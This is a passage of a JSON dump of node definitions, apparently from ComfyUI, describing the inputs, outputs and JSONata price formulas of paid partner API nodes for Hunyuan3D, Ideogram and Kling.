{\"min\": 0.026, \"max\": 0.156},\n \"4k/uhd\": {\"min\": 0.034, \"max\": 0.203},\n \"8k\": {\"min\": 0.044, \"max\": 0.264}\n };\n $generative_model_prices := {\n \"original\": {\"min\": 0.015, \"max\": 0.338},\n \"720p\": {\"min\": 0.008, \"max\": 0.090},\n \"1080p\": {\"min\": 0.05, \"max\": 0.15},\n \"2k/qhd\": {\"min\": 0.038, \"max\": 0.225},\n \"4k/uhd\": {\"min\": 0.056, \"max\": 0.338}\n };\n $prices := $contains($m, \"ultra hd\") ? $ultra_hd_model_prices :\n $contains($m, \"generative\") ? $generative_model_prices :\n $standard_model_prices;\n $price := $lookup($prices, $res);\n {\n \"type\": \"range_usd\",\n \"min_usd\": $price.min,\n \"max_usd\": $price.max,\n \"format\": {\"approximate\": true, \"suffix\": \"/second\"}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TencentTextToModelNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "The LowPoly option is unavailable for the `3.1` model.", "multiselect": false, "options": ["3.0", "3.1"]}], "prompt": ["STRING", {"tooltip": "Supports up to 1024 characters.", "default": "", "multiline": true}], "face_count": ["INT", {"default": 500000, "min": 3000, "max": 1500000}], "generate_type": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Normal", "inputs": {"required": {"pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "LowPoly", "inputs": {"required": {"polygon_type": ["COMBO", {"multiselect": false, "options": ["triangle", "quadrilateral"]}], "pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "Geometry", "inputs": {"required": {}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "prompt", "face_count", "generate_type", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "GLB", "OBJ", "texture_image"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "TencentTextToModelNode", "display_name": "Hunyuan3D: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "generate_type", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "generate_type.pbr", "type": "BOOLEAN"}, {"name": "face_count", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $base := widgets.generate_type = \"normal\" ? 25 : widgets.generate_type = \"lowpoly\" ? 30 : 15;\n $pbr := $lookup(widgets, \"generate_type.pbr\") ? 10 : 0;\n $face := widgets.face_count != 500000 ? 10 : 0;\n {\"type\":\"usd\",\"usd\": ($base + $pbr + $face) * 0.02}\n )\n "}, "search_aliases": null, "essentials_category": "3D", "has_intermediate_output": false}, "TencentImageToModelNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "The LowPoly option is unavailable for the `3.1` model.", "multiselect": false, "options": ["3.0", "3.1"]}], "image": ["IMAGE", {}], "face_count": ["INT", {"default": 500000, "min": 3000, "max": 1500000}], "generate_type": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Normal", "inputs": {"required": {"pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "LowPoly", "inputs": {"required": {"polygon_type": ["COMBO", {"multiselect": false, "options": ["triangle", "quadrilateral"]}], "pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "Geometry", "inputs": {"required": {}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"image_left": ["IMAGE", {}], "image_right": ["IMAGE", {}], "image_back": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "image", "face_count", "generate_type", "seed"], "optional": ["image_left", "image_right", "image_back"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE", "IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false, false, false, false, false], "output_name": ["model_file", "GLB", "OBJ", "texture_image", "optional_metallic", "optional_normal", "optional_roughness"], "output_tooltips": [null, null, null, null, null, null, null], "output_matchtypes": null, "name": "TencentImageToModelNode", "display_name": "Hunyuan3D: Image(s) to Model", "description": "", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "generate_type", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "generate_type.pbr", "type": "BOOLEAN"}, {"name": "face_count", "type": "INT"}], "inputs": ["image_left", "image_right", "image_back"], "input_groups": []}, "expr": "\n (\n $base := widgets.generate_type = \"normal\" ? 25 : widgets.generate_type = \"lowpoly\" ? 30 : 15;\n $multiview := (\n inputs.image_left.connected or inputs.image_right.connected or inputs.image_back.connected\n ) ? 10 : 0;\n $pbr := $lookup(widgets, \"generate_type.pbr\") ? 10 : 0;\n $face := widgets.face_count != 500000 ? 10 : 0;\n {\"type\":\"usd\",\"usd\": ($base + $multiview + $pbr + $face) * 0.02}\n )\n "}, "search_aliases": null, "essentials_category": "3D", "has_intermediate_output": false}, "TencentModelTo3DUVNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_OBJ,FILE_3D_FBX,FILE_3D", {"tooltip": "Input 3D model (GLB, OBJ, or FBX)"}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 1, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_OBJ", "FILE_3D_FBX", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["OBJ", "FBX", "uv_image"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TencentModelTo3DUVNode", "display_name": "Hunyuan3D: Model to UV", "description": "Perform UV unfolding on a 3D model to generate UV texture. Input model must have less than 30000 faces.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Tencent3DTextureEditNode": {"input": {"required": {"model_3d": ["FILE_3D_FBX,FILE_3D", {"tooltip": "3D model in FBX format. Model should have less than 100000 faces."}], "prompt": ["STRING", {"tooltip": "Describes texture editing. Supports up to 1024 UTF-8 characters.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["GLB", "OBJ", "texture_image"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "Tencent3DTextureEditNode", "display_name": "Hunyuan3D: 3D Texture Edit", "description": "After inputting the 3D model, perform 3D model texture redrawing.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Tencent3DPartNode": {"input": {"required": {"model_3d": ["FILE_3D_FBX,FILE_3D", {"tooltip": "3D model in FBX format. Model should have less than 30000 faces."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_FBX"], "output_is_list": [false], "output_name": ["FBX"], "output_tooltips": [null], "output_matchtypes": null, "name": "Tencent3DPartNode", "display_name": "Hunyuan3D: 3D Part", "description": "Automatically perform component identification and generation based on the model structure.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TencentSmartTopologyNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_OBJ,FILE_3D", {"tooltip": "Input 3D model (GLB or OBJ)"}], "polygon_type": ["COMBO", {"tooltip": "Surface composition type.", "multiselect": false, "options": ["triangle", "quadrilateral"]}], "face_level": ["COMBO", {"tooltip": "Polygon reduction level.", "multiselect": false, "options": ["medium", "high", "low"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "polygon_type", "face_level", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_OBJ"], "output_is_list": [false], "output_name": ["OBJ"], "output_tooltips": [null], "output_matchtypes": null, "name": "TencentSmartTopologyNode", "display_name": "Hunyuan3D: Smart Topology", "description": "Perform smart retopology on a 3D model. Supports GLB/OBJ formats; max 200MB; recommended for high-poly models.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":1.0}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV1": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "turbo": ["BOOLEAN", {"tooltip": "Whether to use turbo mode (faster generation, potentially lower quality)", "default": false}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation.", "default": "1:1", "multiselect": false, "options": ["1:1", "4:3", "3:4", "16:9", "9:16", "2:1", "1:2", "3:2", "2:3", "4:5", "5:4"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "negative_prompt": ["STRING", {"tooltip": "Description of what to exclude from the image", "default": "", "multiline": true}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "turbo"], "optional": ["aspect_ratio", "magic_prompt_option", "seed", "negative_prompt", "num_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV1", "display_name": "Ideogram V1", "description": "Generates images using the Ideogram V1 model.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "num_images", "type": "INT"}, {"name": "turbo", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $base := (widgets.turbo = true) ? 0.0286 : 0.0858;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "turbo": ["BOOLEAN", {"tooltip": "Whether to use turbo mode (faster generation, potentially lower quality)", "default": false}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation. Ignored if resolution is not set to AUTO.", "default": "1:1", "multiselect": false, "options": ["1:1", "4:3", "3:4", "16:9", "9:16", "2:1", "1:2", "3:2", "2:3", "4:5", "5:4"]}], "resolution": ["COMBO", {"tooltip": "The resolution for image generation. If not set to AUTO, this overrides the aspect_ratio setting.", "default": "Auto", "multiselect": false, "options": ["Auto", "512 x 1536", "576 x 1408", "576 x 1472", "576 x 1536", "640 x 1024", "640 x 1344", "640 x 1408", "640 x 1472", "640 x 1536", "704 x 1152", "704 x 1216", "704 x 1280", "704 x 1344", "704 x 1408", "704 x 1472", "720 x 1280", "736 x 1312", "768 x 1024", "768 x 1088", "768 x 1152", "768 x 1216", "768 x 1232", "768 x 1280", "768 x 1344", "832 x 960", "832 x 1024", "832 x 1088", "832 x 1152", "832 x 1216", "832 x 1248", "864 x 1152", "896 x 960", "896 x 1024", "896 x 1088", "896 x 1120", "896 x 1152", "960 x 832", "960 x 896", "960 x 1024", "960 x 1088", "1024 x 640", "1024 x 768", "1024 x 832", "1024 x 896", "1024 x 960", "1024 x 1024", "1088 x 768", "1088 x 832", "1088 x 896", "1088 x 960", "1120 x 896", "1152 x 704", "1152 x 768", "1152 x 832", "1152 x 864", "1152 x 896", "1216 x 704", "1216 x 768", "1216 x 832", "1232 x 768", "1248 x 832", "1280 x 704", "1280 x 720", "1280 x 768", "1280 x 800", "1312 x 736", "1344 x 640", "1344 x 704", "1344 x 768", "1408 x 576", "1408 x 640", "1408 x 704", "1472 x 576", "1472 x 640", "1472 x 704", "1536 x 512", "1536 x 576", "1536 x 640"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "style_type": ["COMBO", {"tooltip": "Style type for generation (V2 only)", "advanced": true, "default": "NONE", "multiselect": false, "options": ["AUTO", "GENERAL", "REALISTIC", "DESIGN", "RENDER_3D", "ANIME"]}], "negative_prompt": ["STRING", {"tooltip": "Description of what to exclude from the image", "default": "", "multiline": true}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "turbo"], "optional": ["aspect_ratio", "resolution", "magic_prompt_option", "seed", "style_type", "negative_prompt", "num_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV2", "display_name": "Ideogram V2", "description": "Generates images using the Ideogram V2 model.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "num_images", "type": "INT"}, {"name": "turbo", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $base := (widgets.turbo = true) ? 0.0715 : 0.1144;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV3": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or editing", "default": "", "multiline": true}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation. Ignored if resolution is not set to Auto.", "default": "1:1", "multiselect": false, "options": ["1:3", "3:1", "1:2", "2:1", "9:16", "16:9", "10:16", "16:10", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "1:1"]}], "resolution": ["COMBO", {"tooltip": "The resolution for image generation. If not set to Auto, this overrides the aspect_ratio setting.", "default": "Auto", "multiselect": false, "options": ["Auto", "512x1536", "576x1408", "576x1472", "576x1536", "640x1344", "640x1408", "640x1472", "640x1536", "704x1152", "704x1216", "704x1280", "704x1344", "704x1408", "704x1472", "736x1312", "768x1088", "768x1216", "768x1280", "768x1344", "800x1280", "832x960", "832x1024", "832x1088", "832x1152", "832x1216", "832x1248", "864x1152", "896x960", "896x1024", "896x1088", "896x1120", "896x1152", "960x832", "960x896", "960x1024", "960x1088", "1024x832", "1024x896", "1024x960", "1024x1024", "1088x768", "1088x832", "1088x896", "1088x960", "1120x896", "1152x704", "1152x832", "1152x864", "1152x896", "1216x704", "1216x768", "1216x832", "1248x832", "1280x704", "1280x768", "1280x800", "1312x736", "1344x640", "1344x704", "1344x768", "1408x576", "1408x640", "1408x704", "1472x576", "1472x640", "1472x704", "1536x512", "1536x576", "1536x640"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "rendering_speed": ["COMBO", {"tooltip": "Controls the trade-off between generation speed and quality", "advanced": true, "default": "DEFAULT", "multiselect": false, "options": ["DEFAULT", "TURBO", "QUALITY"]}], "character_image": ["IMAGE", {"tooltip": "Image to use as character reference."}], "character_mask": ["MASK", {"tooltip": "Optional mask for character reference image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["image", "mask", "aspect_ratio", "resolution", "magic_prompt_option", "seed", "num_images", "rendering_speed", "character_image", "character_mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV3", "display_name": "Ideogram V3", "description": "Generates images using the Ideogram V3 model. Supports both regular image generation from text prompts and image editing with mask.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "rendering_speed", "type": "COMBO"}, {"name": "num_images", "type": "INT"}], "inputs": ["character_image"], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $speed := widgets.rendering_speed;\n $hasChar := inputs.character_image.connected;\n $base :=\n $contains($speed,\"quality\") ? ($hasChar ? 0.286 : 0.1287) :\n $contains($speed,\"default\") ? ($hasChar ? 0.2145 : 0.0858) :\n $contains($speed,\"turbo\") ? ($hasChar ? 0.143 : 0.0429) :\n 0.0858;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV4": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the image generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "Auto", "multiselect": false, "options": ["Auto", "2048x2048 (1:1)", "1440x2880 (1:2)", "2880x1440 (2:1)", "1664x2496 (2:3)", "2496x1664 (3:2)", "1792x2240 (4:5)", "2240x1792 (5:4)", "1440x2560 (9:16)", "2560x1440 (16:9)", "1600x2560 (5:8)", "2560x1600 (8:5)", "1728x2304 (3:4)", "2304x1728 (4:3)", "1296x3168 (9:22)", "3168x1296 (22:9)", "1152x2944 (9:23)", "2944x1152 (23:9)", "1248x3328 (3:8)", "3328x1248 (8:3)", "1280x3072 (5:12)", "3072x1280 (12:5)"]}], "rendering_speed": ["COMBO", {"tooltip": "Controls the trade-off between generation speed and quality.", "default": "DEFAULT", "multiselect": false, "options": ["DEFAULT", "TURBO", "QUALITY"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "rendering_speed", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV4", "display_name": "Ideogram V4", "description": "Generates images using the Ideogram 4.0 model from a text prompt.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "rendering_speed", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $speed := widgets.rendering_speed;\n $price :=\n $contains($speed,\"turbo\") ? 0.0429 :\n $contains($speed,\"quality\") ? 0.143 :\n 0.0858;\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControls": {"input": {"required": {"camera_control_type": ["COMBO", {"multiselect": false, "options": ["simple", "down_back", "forward_up", "right_turn_forward", "left_turn_forward"]}], "horizontal_movement": ["FLOAT", {"tooltip": "Controls camera's movement along horizontal axis (x-axis). Negative indicates left, positive indicates right", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "vertical_movement": ["FLOAT", {"tooltip": "Controls camera's movement along vertical axis (y-axis). Negative indicates downward, positive indicates upward.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "pan": ["FLOAT", {"tooltip": "Controls camera's rotation in vertical plane (x-axis). Negative indicates downward rotation, positive indicates upward rotation.", "default": 0.5, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "tilt": ["FLOAT", {"tooltip": "Controls camera's rotation in horizontal plane (y-axis). Negative indicates left rotation, positive indicates right rotation.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "roll": ["FLOAT", {"tooltip": "Controls camera's rolling amount (z-axis). Negative indicates counterclockwise, positive indicates clockwise.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "zoom": ["FLOAT", {"tooltip": "Controls change in camera's focal length. Negative indicates narrower field of view, positive indicates wider field of view.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}]}}, "input_order": {"required": ["camera_control_type", "horizontal_movement", "vertical_movement", "pan", "tilt", "roll", "zoom"]}, "is_input_list": false, "output": ["CAMERA_CONTROL"], "output_is_list": [false], "output_name": ["camera_control"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingCameraControls", "display_name": "Kling Camera Controls", "description": "Allows specifying configuration options for Kling Camera Controls and motion control effects.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingTextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "mode": ["COMBO", {"tooltip": "The configuration to use for the video generation following the format: mode / duration / model_name.", "default": "pro mode / 5s duration / kling-v2-5-turbo", "multiselect": false, "options": ["standard mode / 5s duration / kling-v1-6", "standard mode / 10s duration / kling-v1-6", "pro mode / 5s duration / kling-v2-master", "pro mode / 10s duration / kling-v2-master", "standard mode / 5s duration / kling-v2-master", "standard mode / 10s duration / kling-v2-master", "pro mode / 5s duration / kling-v2-1-master", "pro mode / 10s duration / kling-v2-1-master", "pro mode / 5s duration / kling-v2-5-turbo", "pro mode / 10s duration / kling-v2-5-turbo"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingTextToVideoNode", "display_name": "Kling Text to Video", "description": "Kling Text to Video Node", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.mode;\n $contains($m,\"v2-5-turbo\")\n ? ($contains($m,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : $contains($m,\"v2-1-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v2-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v1-6\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($m,\"v1\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : 